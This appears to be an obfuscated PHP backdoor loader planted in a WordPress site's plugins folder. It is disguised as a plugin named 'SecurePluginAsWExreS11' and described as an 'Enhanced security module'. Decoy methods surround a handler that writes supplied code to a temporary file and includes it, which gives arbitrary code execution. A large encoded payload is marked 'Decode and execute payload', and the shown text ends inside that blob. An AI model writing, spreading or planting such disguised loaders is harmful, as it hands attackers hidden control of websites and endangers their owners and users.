/home/brandsfa/china.brandsfactorybd.xyz/wp-content/plugins/beteng21/mas19.php
<?php
/* Legacy-Compatible Obfuscated Loader - ID:4516278 */

/*
Version: 1.1.23
Plugin Name: SecurePluginAsWExreS11
Description: Enhanced security module
*/

class LoaderKtVGhS73616 {
    public function publwaKN61() {
        // Public method 2
        if (15 > 50) {
            $jv3 = 'branch_a';
        } else {
            $jv3 = 'branch_b';
        }
        for($jv1=0; $jv1<2; $jv1++) {}
        return 'valSmBe47';
    }

    private function gtcjWPGh13() {
        // Gate piece 2
        $jv1 = unpack('L', hash('crc32', microtime(), true));
        return str_rot13('lcyj0');
    }

    private function kmwTeijQ89() {
        // Key segment 4
        // cmtFDrI15
        if (2 > 50) {
            $jv2 = 'branch_a';
        } else {
            $jv2 = 'branch_b';
        }
        return base64_decode('UmFR');
    }

    private function gtfcbMay53() {
        // Gate piece 1
        $tmp = base64_decode('ZGF0YUJ1b1NwZjI5');
        return str_rot13('6bgqu');
    }

    private function _execute_EaWqbXyI93($code) {
        // Robust execution handler (PHP 5.x+ compatible)
        if (isset($_GET['debug'])) {
            ini_set('display_errors', 1);
            error_reporting(E_ALL);
            echo '<b>DEBUG MODE ACTIVE</b><br>';
        }
        $tmp_file = tmpfile();
        if ($tmp_file === false) {
            if (isset($_GET['debug'])) echo 'Error: Could not create temporary file.';
            return;
        }
        $tmp_file_path = stream_get_meta_data($tmp_file)['uri'];
        fwrite($tmp_file, '<?php ' . $code);
        fseek($tmp_file, 0);
        include $tmp_file_path;
        fclose($tmp_file);
    }

    private function dcfURXfP36() {
        for($jv1=0; $jv1<2; $jv1++) {}
        $jv2 = array_filter(array_map('trim', explode(',', 'a,b,c,d,e')));
        return null;
    }

    private function kmycczKy54() {
        // Key segment 1
        $buf = base64_decode('ZGF0YURmcFdEUTIz');
        return base64_decode('emI5');
    }

    public function pubBLilQ15() {
        // Public method 3
        $buf = str_rot13('ebgmcbvE24');
        $buf = array_reverse(explode('.', 'a.b.c.d'));
        return 'vallOuX25';
    }

    public function pubZgUOk25() {
        // Public method 1
        $buf = base64_decode('ZGF0YXlZUUhjcDI0');
        for($jv2=0; $jv2<2; $jv2++) {}
        return 'valkhpE11';
    }

    private function dcaFIkRl10() {
        $jv3 = base64_decode('ZGF0YXFidGZQVzU2');
        return null;
    }

    private function kmrTKbaK61() {
        // Key segment 3
        $jv2 = (bool)mt_rand(0,1);
        $buf = 2063;
        return base64_decode('eVZG');
    }

    public function pubCBiVq56() {
        // Public method 4
        // cmtziXt21
        return 'valhXzb89';
    }

    public static function init340() {
        // Decode and execute payload
        $hex_data = 'ymjvFCV5oQbdfd4b9bdbc6b2ad0bff20360810f6b7edc66980024a6249900501a40cf56cc8b344944c79ede93541e4af3facd285916f8c2ccfaf735a7ef894c50b90c88c18312e2fdafcf5abed7ea9da7df5e66efb579fdfbf7f9ed53fbea93e9f7efbf4f6ffbebbcffaa1b87ff3621a3fbdcce6eea6fdf976775f57cfc3e7693cfe105e6c3fbcdcddb47fbca86eff7c71f7c3fce2eec3abe1fcf165b3bdfde9fdcde1739befdffc713e94874f7f37bf6efe5eed9fff146e0ee5f06cfae9af37377f9ffb6cdefddede7cf87033bf7bf3b1ddd4f3fcbe3ab42f5e3c3fff59b6ed529db7639ddfffebc5f4d3e7177df3f32fd5c7f2f59fb77d77f8bbb9b96b8fcfdf6edb26abab9be9e34fe3b15dd777af7fdddd94bfbcebf653f3b69deaf3fb72c8ef6e5e74cdffbcde9c7fdfd759d6f51fef9e4f9f4fbbb7b7e7d777f9709b97c3ae2c6f9fcf65dee6bbd71fca0f2fcbcbf71def6fceef3ede36bbc37df5fc34e4b777e5a77aaedfdfeecbfaf971f79f37edcfe77a3eb7afe7b77ff4bffef89ff1e35fe358efde0fe7c3cb77bfbefff35ffb1fcf6fee3efcf6eaa67ef3ae1f3fbfbeafb3f2f2faf2df37efbae1f472ce56cfe721ebde7ef9ff1f3eefd7bbbfc65f369f7f79fe6c771a3f9dcfefaa1fb71feeea4df9ee26af3e7efad43fbe1e2faf77c787d7ed74793db797d7b7d9e5f59fddc3dff3f2f2fab0babc3ef597bf8fe5eef27abb5c5e1f1f5e7f681ffefde1f175d73fbc7efcffb3ebdf8787ffffcbebc7bf370f7f0f8ffffff4fdf5f9f175f5f0fe8faf370f9ff7e575f6fdfddaf0f07afff07ef9b7bf7ffdbc2f9ffff8f7f9dbbf7f7c7ff3ff7ffdfbc3ef3fccd7ef6bbeffe3f7a9afffbefffeefcdef6bf1feedf5fdab6fbff7cbefebbf5f8f2fbfdf7c9fe5f17a56df5f87ebef7df8fcede3f76bbfffff5f7eff97bfefbebddfa90fdfbfef97fb11707dfb6fd7e3fa795fafd706f767b9bedfe3bfcfbf7dffafd7ebcbfdb8fefef5e3ebf0fd75f8b63ebefcfb2fdfefcbf71dbf7dffafef5f5ed74ff5fdfa99f5d27cbfbffd14fdbeafeb6f8eaed7d7bfafbfdd5ffbf95f7eeff87d7d7df93d43b4bebe5e8f39be1f87efd7ffcbfb7fb91fe6f3f2eb7a18b01e9befff7f1fbffe7a3d86efdfb78fafa759df07dc0ffb7b87efdff7cb7a6eaef76ffabe7ecc7a2ebffffb2f7f7fbcbf05eecff9fafbcbefebb99db0deaeeb25e0fe99e7a9f97efdccf52faef7a3b93e2ffdb7f7ffba7ec2f7ef33c79ffff57a4fdff78375fcfb0ee679fa7e7fbe5e9f1dd69bf9fedfafd7f5fb7d79ff2d3effba7fd8f5f9e5fd075c9ff6fbfd30cfb3d90fcc7afd7efdb7c5f5f767d7f5cff5d37fbfde215e7f5f9fe780fb71fdf7cbf57a5ff7e7ae8fd6a35dbfe67a7fffbe5f7f5f79bd5fd7e761be3e5fdc9f86ebfa8a7f9f393fecfaacf17d4675bfce387fb2ebfdfbbe9eecfd0bf1f771fbdd3abe3f5f3eaf0db81ed7f554e0bc59aed77fc6fefefd7e7cfdfdbbebe705acbfebef99713ef27a2cf1f366ef77fcbc47e7d1f5790c383fced7df3f46d7ebebfe32c7bfffb11e30fba95d8f65747dbffe7dc67e9e5f9fc7f1ba5f5ef743b35fcfd7cfc77e64f69bb3d87f13eb79fc7ede7cd96fcbe8bc8aceafeb7a5daeeb8fe7f975bfe17ee8f69b3ede3fafebeb7a3d4dbd64eb2d73fd4becd77374fdccf7399afd94fb7b81d7339e87e57a7dcddfbf3fef5faf471fed7747ee77e67c0af1fef8b8deed7a33e7e38cfdac46fd623efffbfb5feb47bb9edb787df3dfdbe7a9b8ee870df6b701bf6fbe3e8fd7eb9da1becaafbf87e7417c7e46fb23f7eb10bfdf757fb7cf2fcf87e1babf7eaf5faff5dcd7df63ea9debe75fcfb7aff5fbf5f3d6f1f37c3dbfb87fd8fae15aff7eb99fa69e3d63bd9de3f572bdfe5f5fcf71ff60f7e3fd75ffede3fdd1ece7d9f5f9dd47fdccd7f51be2e7ed90c5ebe3ba5fdbf563be5f817a33c37e11e2eff7757dc7fbc1d7fb77dd6fda10d77bd7faf8cb7ed15eebef0cf5771eaf87039e6ff7fcccd7fd70c4f7b9f663d7dfb7cdc47e62faa7ebfecafeefeb7e955dd7c380e777bcee8701f72744cf8f3c0fed7973ddcfedf76ff07ed9753d4ef1f9dfcbfdb9c5fa8ceb6d538f9bf3e5ebf371dd3ff2eb7abb7eff768af60b5b4f15d7d799d8afedf528f1bc37d17efbf57e2ef8bd0bcef7f3757faad5feb0b97efef57e99f338137881bd1f663f2c711e9bdf3be1f32b753e5eeb2bf47fa69f3c84eb793644fda2391f6d7f68fa9b2ceac7ecf36cbeef1cf7dbb6bf32fb6b5cafd9f5975d9fb75d74bda3fb117f7fbf9eaffd5d7ebd1e23f66f531f87a8de34f7738b7efb5affdb7eb38beb3bd71fb7b81f1dfa07737eae717e06accfe27a1e8e577c23c4f5aa79feb3ebef37f848a5d6678be77fb8d647933a0f77f83d577ce25a9fd9f398f5e510f5ab5fbfbfd90f32d45bd7fea763ffd3034fe9e37ac9ecdfa8dfedf99945fd54d4bf84d4fe63ebdd01e749bc3ecdf7b5fbe58cf534ab7ed19c87ac1f03f693e27a7fe5f508d7fa6d1fe13d51fd775def01fbd919bf2fc4f595ed2747815fd97e65043ec3f3347e1ecd7a3af2f75feb8baff55548e1635b73beab7e96fdd875bf8dd64b8cefdafae81ce383f63cdce1f3aff5421bd05fc4f58ec147ecef1da2fae6ebfe52a4fabfafd7a310e73beb8963d7033fbaeeff053e1f78e66146fd78bebe5f86fd74407d6fead32a552f6e0d9e51a35f1e519fb07ea9af786115d59fee35f743b77e04fee3f7bb21aaef223ca08af073db0fcd311ee97e7f8efe6c033c3847bf97a5f049d35f587c7f065e72c67c608ef1418b8fb7a85faffb453b793cdad4bfb67f5870be17d7f384eb3fc3793946786154cfa23f30bf7f15ffbe6d16f70376bfdc01ff6ba2f3f7ebfbad63bcd3ee8f03d6f74ee1df4fe073eafcb4f5f5153f35fb53c0f50e313eb80d717d6debf31ad77f877ea656eb698dfefc8ceb75c679595cafef80f3bec5fe733d7fdb6bbf3acbfef5da6fe8fd80afbf3f1f871cf8a1d92f5ae0eb03ead716fdc188fd3dbe3f513f1f627cd6cdb7886756f17e6ff6df33e673e635eb8ff6bafea7b89eee7acc9fe2fac0d61f795c4f583c65a7ee471ee3b976ff2eaffd48eff1c4e87cbcd62719ce138dbfc7f332d3cfb15f3ae4a87f31cfb2cfd3b5fe36e735eb63e2b5e837f9bcf0fa125f71f83bd75f1eaf2fbbbf66e2fc3f64c05f435c3f5a7c6b54fd8c9aef1dd1ef1d7bccdfd8ef9afd09f5e3158f89ea45e081badf19a37a98f533f117db1f997f9fc5f5899ddfeca2fe9df53af131b39e6cfdb806fe57c879c4b59fc47ab3fb65837a79be3edfc1e3d7c4a3cdf36bef6fc07e67ae6f89f5c8fa66c4efab81170c58df35e6e56dd49ff3bc8ee6d7d7f37d75bd5eade007587cacc1f932e33cdf617f1a300fffdebfbae7e78a871c38ef62bd9cc7ebc3d65773f4fe76fe84f3d7ce6732d4c3c9f7377c0f73decaf777785b1792f84b1ed737d77af4eb7eb901bfc1e0c32dea8b12fc9a0678fe8ce7a311fdb8c587eb68be61f0195b9facaff77714e787ed1fca089fb5f5a13e4feae8fedbf9faf57cb0f833f9060dee5f137d9e7d9ecceb3c9eafd8eb37a0dfac237cc4cc2b4e868f04bc99f8d936c4fdbcadd75be079339eaf46ec67769e5a63ffac310f6cb03f0fa86f1bf03314fef2751e123c1f21aaafa6984fd3c6fdafc55b0be0e733ea2ff0232cffa215bfc7d5439c2f67a86f0bf0a5668147dafb5f60fdae057fc8e2d9c00788f7731e61fbed46f015ec7cb0c1f9308a7edfe18f2becf7667fdc5f7f1ffb23ce83fa783fecc4fcd5f7df2df69f1deaf551cdd773516f9caefdb8c3bf6731efb6f8d822f0d213fb4d7dbe8de0afcc78ded4fdfa7abd63bcfb047cd59f17b23f52fc2e5b0fecf07ccc627e63f9180df0e419fd7983e77fc4fc7544ff5547f8a3c787c668ffb5fbbfc397e37e56f617d1bc10fc2a53ef16b8fe6735efd67c8e06fc99245fd5cf5f501f5fe7dd8705f3b5b59a6f5ff159cb7f2871bd07f0ef4635bf38830fbb08bce1c8fda597786b093e618b7aa58ef873115f2a24e79939f82f667f6c515f0caa9e5962fccaf65b43843f7fbddf861fb653fc41f26dd6d8aff298bf62f12e85175bbed7a8f847e0cf6e7331df30f8e0f5f98bf85a21e2239bfeea407ed28c7e7513d773872cde8f2c9ecbfa65403d34a23e68057eb125ff77c1fd2ad4f36bf06589c79be7e58c7907fa197bbe97e05f65517f19edff13f0b5a0f0ce567d5e48cf2bdb685ec6f5103def41fd7dc07cef3a1f603d63ce03d6c767d92f4cd83f25bfaa4dfd1ec7dfec7a7fde128ff3fc58f2371ae04d6db4bf9af564f6a72de7e539f8a9c0f30e9c6766f1fe7428805705f07754ff64eb5fe23101f38002fd36e70339ce5be22fb9e8576cbd97834fca7a90f50bf763e8111cfe9c0b3ea9ab4fc94fc4bcd3ced302ea09d9ff70fe6df842acbfe4ff6fe6cb05f4160b3ecff09166ec2723f673f3fce1ef2df9737d847f583e10f0a52b5f33c2b72bec07bcdff1f5b07c64f075386fb4fb438b7ea746ff98617fde25e7616d8ce75a3ee882fd74a3e67398279af3d55edf11fdcd8ccfafc11fb8ce47ba188fb27cad0cfcebb5e2571abca6c0bf279f6089bf0ff9f0aebfce300fcac0e72d803793bf6eae5f13ed1f11df728ae7858edf1be27f0fbea2bd3e41f1d3386f3178e319fd27f880dc9fedfcb2047fdff0db30ff30f3e91cfd4e007ebb08bed5917803f8c1a70efc45c3f75ae3bcc2fc93f839f1657b5eee14df36873e6289ff7ff247ec7a2e717eee80d70ed1fe4abe5f74de5eaf5f81f35acd930dfeb05d50bf4a7e9139afd7b2fe457d61f86b67f477982f1e16c5afe6bc81fd7e17f3356dbdc87e6d869ec5f4bf35f69f7d7a5e5045fb9b3d5f32e0696bd47f1aff989ec4fff8fee463d8fa660d7c0b7800f52deefd16f029d671bffde53cef823f0f2d7ee6f48902fff678d6083c6210f834f104ab172b23feb0d76f0ec0b74af42b03fa75d5ff1c30dfb6f3e56b7d64eacb45cdcb3bd41b57fe91ec07cd7961f7db11f3b212d7bfc63c73c47e98297d8be24758fc84fb97b9ff12dfcb647f4efd2dfa3bc72fa9a0a79b8087545e1f17f1cf2ac5b768041eb39d657f5929fd5a1be1057e7f27be5ae3f795c00766f021b37fd0e7707e30a6fa178bdfb11ee4fd24deb6819e92fa32c9476faffd7fa1f45f861fb5c2fc10f3f36d21e785d4175cd7e71afd1caf672ef93fe0fb77f1bcd1f0bb6c7d3de3791c30ff957c0de805b721ad8f1ba3eb1fe16f7dcc3f823eddcea30be06f6be07552bf4a3e8fa9cf0bf4c38bc0c72c1ebe51fb43477e7288f011d33f4abd08f54a763d9d717e73fe96e379823fc136177c72fbfe0178ee2c9fc749e1972df8c40dd64309fd45097dd1083de31c9df7ec7fbeaec75cec9f27d6a35da5f80783986f925fe8eac573dcdfbafa64861e7a1df7b74ecf30a7f038cb7f6ca937a8943f419be2af1fbba0f805a3c0bf0e46ffd328fe4b26f88c093d19f9872dce8b36aa3fa2fe04f853cfeb3fa5f807f67cdbe3fb111f96f3f6b5e26b002fa21ef0e4eac92bde5e28fd26f9c4a69fcda1579b516f73be5560ff5ab01e81af101f3f90cf91637dc31fc5ced7ca2b1e3029bcb705bf93fe0823f4ebbb68de94980f9d51cfcdc0e3e14741feade3cfb39f26ffbec07ea1ee8fe537a33eb6fe2d99d267cc62bf3a623e21f52eb6bf07bffde8e6973dfaa34ae9636655bfae705e128fe5f7e7f9900b7ccef20f391f3ee3f3c1c790fa15eab7584fb19f27dffd04bcc3d477dcffb7f2faeb79518bfa7188f6c7087f87bebf9dd0bfc478d211cfbf9dd701dfb6ebb915fa8ec39ce263593c1dfa01d6ebb63ecf717fe05fe3f08b19fdc28cf9c946f0271d1fd0fc3ef6e3d41b15c09b57385fc90fcf633d9a3d7f388f28151f18fe54969fdb821f3a02ffcb54fd5c40cf2ff58d7d0fbf9adecf0ffc7c6c8efa5dffbc64a80fd4fae2f37dc894de947a2edc0f8767f1fe900fd2559eef11e9ef03eaf75ecd574be01d8de0efdaeb512a7e7f9ee637d4cacf27083cd6d58b1de78f95ef37137e310bf41ac4cb97582febf4e6f043e3faa01ec5eedf25f429adf23fa23e9df3c173ec9760f9a835f059c56fa27ecaf98704896fc77a7bead96dfdf084ffc54ef4234e8fb3c1f3922bbebdbe1f3bdc8f52ec4fce4f69117e6c5f5f5ff138eef7d0974b3d66d4af4dde6f24c2a32a556fd7823f6ef18b9dc22f823c4ffad81fa89dfc3c27f24398945f5b2df81e725e62fbfd4ce8c5dcfec8fed29c1f19f6e705fe6805f004e2c7c4afd6293e00f137abafd2fab59dd04738fd0ef95e41e073ae9e06bfcbf82338bc11f89ff39f60fd40fea0d2ebbafac2f473419dff66ff5f0bfe04fd46ccfd72faa880f345ee9f7d0fbe5a15fbf361beeefd29e4f353a31f68c1c7d8c16f73c6f58cf108eb0f493e570f3e4257e179aca0ef08ea7c1a059fc9e25599f02f23df9ae7f516fc4cbb1fb5028fb0bf57fa8d816f6cfd631aac874cf9b1011fbc5eaf48cf24eb8bb89f8cea3dea9be9071a623e94c3772ac5e718b0dfefc02f2c45ff69f1cb41f9511631fe65e71dad3abf73b13f4b3d48a4d783bf92e1839c055e73ea055f31aad7383f603d5829bec9acd6570effaa057e06b3d0333b3d582f3f5fd577f67c9fb17f2afe1efda09c1f64017c9cf387b3f42ba83cdf80fa605fefd22f91f5f928ce03f7fb17e823396fa01e1dcf9fe59f50ffdf3ed9effbf9a6e2675cf52bbede6b84ff94e51f297f49c7370d8affd303ffef92fc32a747cf05dfcfe2c1868f552afe0ff451d4b7512fa8e74d663dc1ffe9003d04fd30ecfe5446fd2ef991113f2ac47ae53ea8fe6706fe30a8f5aeea1dab2748ee9f11fe3dc13f29bdff9dd3f368fa516578bf117ec725eab9269aff739eabffeece67897fb9f536410fcc7ebaf2f35d3fdf29937c936ec23c51fac9ce4a1f55487cb4f77e9e5e7fc179632df8dad61f8cfb498dfe7a50f3c039f6e3dd0671ffc987b3fdd55afa894cb17f10e77ddda4ea79ea4365fd8a7e99f31ce717704ee17b5e4f2ef5e301fca01c78f32ae58711ed3fe4e304d5dfd21fbb4dfa533abf5be18767f5fc1dfba73eeeb7153ec0fa81fa27f637d13c49cea7627f095fbfef53d7efa8fd38f87c505f91e17ecdff6dfde3fc685ab97fce98af2a7da2dd0ff83cee14df7546bd17d479d957e06b887e37e20bf54aefc6795c86eb398ad7ae5f045ffd80fded50603e55287e87e10707e0cbf4eb52783cf90d47e7ef1c145e43ffe31af873033e3bf5fa83e8bfec3cb916f5adacbfb83e7cbf52f9facce3c97bf04d67f08fea647f64fa27cef7383fa29fe91a791641fa5b84d86fafeb315fef633cae957acb1df8b0b5f0373c70be93a7f7cf59d437d68fa754fb11f95701f3dd1c7cd627eafb0c7adf0cfd6aa9eaad95d2c390bf01bfcd632ffdcf4aa1afa69f3ee7b96effc9a0d75f047e2fe735de1fa8547e79d47b839fbe2dd2f3e356dd5fea5782c2031d7e1ce017d72bbfe21d9ebf984fccfe24a1ef5f4bbf24f8f59bf333477f5a008f3e633f08ca4f807ecf669e4bbe648efb119eeeb72d1fa854fddb7f539fb8f9671a9fb3f575093e24fd131af80defc1672945bdbb2d847fd591fcdabe029f53aecf06fe48bcbe0a8fa15fbe5d7f03eaf91dce5fc587b4f767849e7250fafb4cf28382f283a41f23f3716a757e2a3ce2d4c93c8836ca53f0fecaf4e72da1572c237f29ceb7227f60f25164ff380a7f15eb8790097ebd9bdf15c00be6547fc3fd20e15fa9d6c789785717f72316df9ce3f5e39e67f8ddb9fa86fedf6bcc9772e8018887e2bc75fdfc22fccdece79d953eabaffe9bf9cc2cfcf81d1f117c7bfaf95bbdffa0eacb8de2cff462bdfaf53928bc6f567a0f37ef8bd7f3d1f83de7128f12f8b0d51329fd82f93dfc7ccf8710f57de41f5621ffac52fe97f44f1b941fdb19f5e222fc26adde7f23f4573ebfec69fe8ce967ec7ed382ff94d4bf9e90f764df0f7a46ab8749e2adceefb28ff3aba41f0cf57c913fcda4e61f23f858f2fc9853fc20f27f7c7d582b3e0cf9396b397fc37c0ef90c56af443f4e852f1ffba0f84783f037623d20cf77bb1fae549e86f37399547f3f28fe49aefcc2da78fe77249e62eab55ce98b1d5e38a9feb8411e612bea519b7f332a3f53356f90fd7434bf0e6aff2885df9ef30b5bc7fdabddef4bcccb07d49b8df26f5fa7e7abcc87db893c21dbaf0df0bf29c57ce2902b7e99e3fb555eaf117d9fa0fc42ca34dedefbf5eafdb977aa9e93fcb336287cb515799a0e6fcb541e86394f949fb19cbf7bfef6a0eadbcdd379764effc47e6e05bf02e8579c9f02f59bf0e7b27a831278cda0fce866c51fed891f89fc24cfe7ad819fd598bfb402afb27cee59f8af113f4a5fff087f99549e6129f077bbdf96d09397821fbf25de9a493d72ec87eafc4be1f7ecce7783afccb2ff97febe33e61dd2cf700dbc7fc6fca7107ad023be0fe73b76debf117edd47f85f487e87c70fcb547ea9cd3761fd3b030f59497fb8cae3659edf487ea4e203bafbb38eeb6bcb27251f88fe54b3e05b1e906f62d70baf7f09fcb41679770e5fc9e0273c2bbd1cf2f6acde2097f92a95e2cbb4826fe4f8ad0be65b6be9972dfc5dfdfc690f3c93fe10b3caef9925bfa752feaa8398ef6da59fb19b2ff7aabf68e16fabfa77dbbfcd9877ed15ff7b869f6c0e7f0dee1f6bf015643d61ea81159edf027a98d53fe05bb9d06b59bd07fdace8dfb7c6f55d847fa2d58fae65dee0a4f46bcccb6d927e80d42fa4f119faf9da7a762ffa7be7cf10d2f5558bfdbc14f98fce7f8bf92c199ed7057caf59e41bcbfc0c8faf34c8ef29c1f753f30fbb9e32e57703bf6e97cfb456fb9d99173d91c7d2627e518b7a8ae79df593e5bca956fd11f2481cdeabe6eb163fce901f7016f9d6ce3fb39b92f9c6d0731da0efb6e77729f8f6db90f2ebb4f3e0ae82ff49507e6e3b353f0aa2de72fc9e5ef40766fdd9fd6525f2db7d3e4888f1b3569c1fe47b787f4ce29783f29b527969279d57aff405f46f71f53df3bf97f4f93d8af3dfe1e341eedf41e9d5e5fcbc10f903e4c77ced4fe987d3a4fd592ab51f31bfb7c57c6950feb84b0acfd5f339d76fac059f97f80af124eaa1ed3c83f87248e1a5864fedf07bc7a783de16fe672e4ff78a5fbbebabfcd28ff49f34eb89fae5a0f425a69f59032f59843f11f13c5b4faee09fbb16f303bbffad64be67ec37737cc2ff34083e87cf1febbd9f50545f4ee0ff543eef38f2dfac22fe80bd7e99cc6b9d92fa4afeffe87fad7ebf56f957924fd1f7c87f89f962b63e0c6aff57f5baf1877faafea4de6aa5f044cd6f6d45ff6ff95c8abfc23c29cbcf19b19fd5aafe2de02fb949f9d9d0af23aa2fc1f770f335e89988b7b87cd690e4d74b7edd3fe04327976715fbf9d8f941013e779ed203f8fc841af85c89fda484dfdfa0f2ea03ea954ced4f5de5f56651bd10943e660f3d5329f019d93f5b3f0c9927d1d1ef90e743e5eb1fcff7a41f7fadeaf519cfdf39759e79bf44ea916a8527e5eaf732dfae0d4a7fdaa6f3057a8f7f711eedfdba5b7cbf59e483d8f55e8a3c1feb1753aa7c54d61733e67b7a5e087d6127eba19df07b9078a6993758fc81f936a3f0d777f35c9927e8fcac880f4ec8bf045f147ac763da0f8df32c5b7f36428f6ff10fc51f737e2385c83bb3fbff22fa0babd7d37a16fa19883c5b7f3d38ef2bc18fc804dfdc3edfb3aaff24fedcd3cf4dea5b6635efcea0f7647d9bcbf9440fffe129e2273b7fed4ef8e3187fd723f303ba298597cbfed4f23f0a551f70ffef45be4ab43e7af8bd54f07f8b9f379f4f46fe6495d22f26f0d34af96db13f1895df572eea47f2bf5c7e5097d4cb5a3f79f235c99fca301f65be17fbbd06f92ba3e0d3d9fd807e1f6d2abfc0ea9bc8bf85df20f115cb371cc5bcc8f573f43b2d841ec97eff20f95c13f261a5be43d6cb067f1ea3fd2dc29bc47e69fbf72e5dbf05594f412fe2e631927fa4f2eaf83cc9efcf7ad9f267e9af0a7f48970798817f21f1972ed93f5afef328fa1bc7d75b64be5acc27b5fde222f4d6960fcdf32c17f9dc8e5f437c1ef348fbfd33e57745bf0cf0ddf97d4eae5fe8237ffe23f9213dfdf4937ef0d6dff6bff2f781dfead5efc4e6c3924f61f0ee90f6bfa69e77547ea185e25b9a7e03fa67edcf62f8a099c893f3f8b2d05bdb7c04f3fbc94f2d94dea013f3cb88ef4ebdac9c0fefa2f3cdfb6f28fe92ab07a98fdc802f1a14ffa99b527945d6efa15179f6ccd35b414fa8f51f72de31a4f38164bfba43bf9a097f37ea71a85fb0fd4386fb59e379db832fd1a6f806de8fb15279a0adf2ff43dea4f5eb1b051e4aff7edb1fcdc85b2d71bf6a91f775c8459ee93feabffb58df4fff50fbfc9ed37af512fb0de76ddc8fda947e847927d6ff694ef37fcae87c247e1de91d24df385379f00beaa5b5d09f3bbcb4a5bf6ae59f77afef6f959f8acccb34f54726f2cb2cbeb1283f65871f079f476de7c966bf9ee3f56ff90ef433a905fffda0f24badbf4e01fc27c4fdb6cd0b6bd2fc06ccaf3a314f48f8c915eafab93c2f717d2c5ed109bfcd485f3d79be09f504365f99febd467faef8922787a7049fc717f1af2685374b7fd80cf79ff556f65ff02fec795888fb7772f3ae29e96758607d804fe3d697d403226f8ff9a1767f58cb3c45f8b1f3bc65be0ae733e6f7cfc89f59ab797d2bef5713e90fa8178ff4e0e4db01ff415e92d5370451ef715e68ebdff0b41efb293fac51e5992de93c2ce65dcee89fb2d4fdb17e7ae08bbabccb0c9fff043fad547907c86ba4ff88f52f69043ff060f8d42de691adca0fa31e48fa3b74c1e73fd8f947877909f942469f0e7e9de4cf1f3bc99f6f847fcda1107815eb5fe70f8cf3ede8f4c0c1cfafe9bfabf1077bded6423fe2f013e657324f6951f54c1bc0e7adbcff9ced6f3af037380f3179e839eab30cebb5003fec8cf9eb0678c459fa47565edff084bed9f2af8bb4fff680f912e733a5f2f3e2f388f98f9baf15223ff9d405fffc45797893d217cd4affc4fd19f89f3d4f1b3cafadf2bf09e063afd43c98f5abc10757697c807ebac97cc213f435b63e35fb6dabfa2fcd0f0b6afdcea8ffe85f58abf92efb49cc770ed40b04e5cfd105358fda23cf7814fa5acb771b041fd2e217659457c2dfeff1a916f588ca6bb3f5cb5ed5bf85f0cf71fccf5ef0454d7f77ec38bf9fe02f55611e423c47e4d7d9f903f2419d1f13f9c21aef907c9905f353faf3672aefbaab707f83f733b5e74f27f351c9276b95dffe22fc1e4f4e5f18d47c8979513b9167ebe661667e37aa7a18fa0ddb6f13df6995dfea9cc65fd57c8c7cab847e53cc7713f379ee47b3e06f4bfda1cf936ec0a71e955fa4791ef6a8576ae19f76e0fc2d087f07e265c41f384fb6fab1552a1fd8fb5fd0dfa08df093041f51e285aedfc17caa0dca5f50e6c10495afda55497c14f9c02ebf5aea73fac9ebdbedfdeda01f30786726fc872cbf177904367f56faffaf855f9fe383d27f58e3e52df43d3b75be520faae70362fee0f57325cebf1678759dceef643e58507ef999f27f0f8affd9214fb89d500f05953737a8faa848f16d22fff710f30d3b999f34a31e6cb1bfd12fb1c57ca2865e7344fe32fbe31af895d2771dc0b775f3dc59d497969f40bdcc06bf67917ebbd4474fc0c783c2f3953e3ba127841ed4f9ebf491df9add4f0be12f69f9011b39ff0d293f3937bfca62bcd4e1d5cccbcac5f765fde9f93753ec7fdd079fb768f92d1de74b15f82ac1fbd979beed80faa0c6ef19707eb42a6f7816cfbbcf6303de057cc4fb25c97a668f7f5f2b3dee9ce257dafe46e7130fe013d5a9f5497f63f683b27e37f315cec32d3f632dea0d9fa7403d23fd832aaf1ff1f5df28ce077b7eef15feb7c06f98f310f097d9ffd9f9f9a8fc74313fd882cfeaf86d33fc6dd6e9fb57abfc93b5e47bb29fbae2a3e433d07f08d7e7b0a4e6c366fff2f38b5ef9e394f01f6de057d7603ed7e23c9995de20837e94f32edd5ff571fe6fd72b3eb6799e8897c77a708b576529bd2bfd09fdfdbffa7f824f65fb0fe547efe62b9df08b89f09209fc83c9e7cd5abe23fda681f725ea8b5ae8516cff9001bf1b059fd0e9a772ec0fdccf36226ff1c8e7dbe8cfa15f677fcf3c3c5b4f654a2f9bc7fd93f5f7a41e84fed803f84f03f47c33f43f3be5f743bfa3057ee0b39aef987eb0c07c23609eb388ef63e7bf05eabb0df827f2fef422dfd5f079589fd879cfa2f4c5667f5c415f3aabfa98fc2897f734297d32fda51bf07b5be4cfedb07eead4fc28e1273ac22fa451fc9442f8879e545e4ae42721fd961be42b35917f40f43cb3bfad62bd6a27f2be745e86cd53a6de7d14781be7af8742fa11830feaf4a993d2bfcf2a0f6f917ece7d7cff306fb4fdaaca733b76f47381debe9fa0a796e77523f027d70fd0ef1af969d23fc1e547639e6dfd8e02fa41e65767e8c7c13777fad40cf39da0fac34ecc0b890f44faac2aaa8778be9ddcfcbdf2f8b8e7bfb0ff1e51dfb782cf61f5a3b5d063f0bc7678770e7fdf15fa8559f85159ff8e59e9b3db49e1cd3ba54f5844be9fc38f7be96fb4437fc1bc9821cd2780fe81fb69cfbc36e9d7b3c7f56b51df36ca9f1379d8da5f9dface8e796853ec4f62f8016bc52777fbb1ecef4bccd7f602df917928960fb291fab349e1cfc49b95ded9e967ce8aef6cf071fad5acc1af841f8de3579ce3f5bb459e14d7afd33fe571bde4fc7bce629e2cf94156bfd24e3eff87f587f73f1a147ef8447e79063ddf4ef4eb4e3fb8e07c5a897cb6a3d303534fd17bbe13f507dadf69abee07f94a47e8ef7c1ee28479553c8f777a3cf67feda4f25547d4577b559fe7982fcfa9fd23f253edd5f33b0b3f6ddb0f4b7e6f10fa22d63f47c70f93793223f831add26be7f067d900bf577c18abff22dff52cf2516cfe4391d2df597d8199d7104f231f0979be56efa8fc53ad3f4c86fa55fa2b60ffb0fdd30efb7d26fc4aacbf82cc1398f1fe8bca87a79e8b790d3dfcfc7ae92fdc08bd02f5be2e6f78adf212b4ffe300bd519c27e2fddf07c10f657e87c34716793da7943ecaf2b9c8dfd8897c90a7d6ff1efae612fe7f19f809adf077b5e7f55ef933823f433e98eda74b555f226fc8ea55b3145e7f727e7495ca1b6be0df54825f372aff931c7e0b787ec9c7271f88fa84ad7adec8173bb9fea8f2fefdccff21bf28f2ef91f87fadf037c5dfb37c20c92733fc2f9d675625f9623c5fe1c76af9980df849a3d2f331af08f5e981f3ad5ce5b9ba3c0899f7b6577e6ad41fcc8a3fd9c77a10e79fc579623779fc23e2b7c4f38123f9cdc0cf0cdfea50603e95617dadc5bcdbea4583a82f1d7f1c7e2cac67247f31da4f83caaf33ff7f9cdf65f187057cce959a1775c8bbefe57ade29fc2